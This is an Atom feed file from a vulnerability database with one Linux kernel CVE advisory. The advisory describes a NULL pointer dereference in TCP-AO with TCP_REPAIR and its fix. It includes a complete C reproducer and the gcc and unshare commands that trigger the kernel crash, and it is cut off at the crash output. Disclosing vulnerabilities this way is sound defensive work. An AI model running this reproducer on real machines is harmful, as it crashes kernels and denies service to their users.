<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-29T18:58:57.922441+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2025-39950</id>
    <title>CVE-2025-39950 — net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR</title>
    <updated>2026-09-29T18:58:57.925739+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Linux</p>
<p>In the Linux kernel, the following vulnerability has been resolved:</p>
<p>net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR</p>
<p>A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.</p>
<p>The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)-&gt;seq without a prior skb validation.</p>
<p>Fix this by checking if skb is NULL before dereferencing it.</p>
<p>The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.</p>
<p>int main(void){
	struct sockaddr_in sockaddr;
	struct tcp_ao_add tcp_ao;
	int sk;
	int one = 1;</p>
<p>memset(&amp;sockaddr,'\0',sizeof(sockaddr));
	memset(&amp;tcp_ao,'\0',sizeof(tcp_ao));</p>
<p>sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);</p>
<p>sockaddr.sin_family = AF_INET;</p>
<p>memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
	memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
	tcp_ao.keylen = 16;</p>
<p>memcpy(&amp;tcp_ao.addr,&amp;sockaddr,sizeof(sockaddr));</p>
<p>setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &amp;tcp_ao,
	sizeof(tcp_ao));
	setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &amp;one, sizeof(one));</p>
<p>sockaddr.sin_family = AF_INET;
	sockaddr.sin_port = htobe16(123);</p>
<p>inet_aton("127.0.0.1", &amp;sockaddr.sin_addr);</p>
<p>connect(sk,(struct sockaddr *)&amp;sockaddr,sizeof(sockaddr));</p>
<p>return 0;
}</p>
<p>$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn</p>
<p>BUG: ke…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2025-39950"/>
  </entry>
</feed>
